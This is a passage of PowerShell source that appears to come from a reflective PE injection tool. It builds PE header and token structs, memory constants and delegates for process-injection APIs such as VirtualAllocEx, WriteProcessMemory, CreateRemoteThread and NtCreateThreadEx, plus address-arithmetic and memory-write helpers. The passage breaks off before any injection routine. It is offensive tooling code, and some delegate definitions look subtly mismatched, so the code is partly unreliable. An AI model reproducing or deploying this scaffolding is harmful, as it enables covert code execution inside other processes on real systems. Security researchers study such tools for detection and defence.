$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
#Struct IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
#Struct IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
#Struct IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
#Struct IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
$LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$LocalFreeDelegate = Get-DelegateType @([IntPtr])
$LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree
return $Win32Functions
}
#####################################
#####################################
########### HELPERS ############
#####################################
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
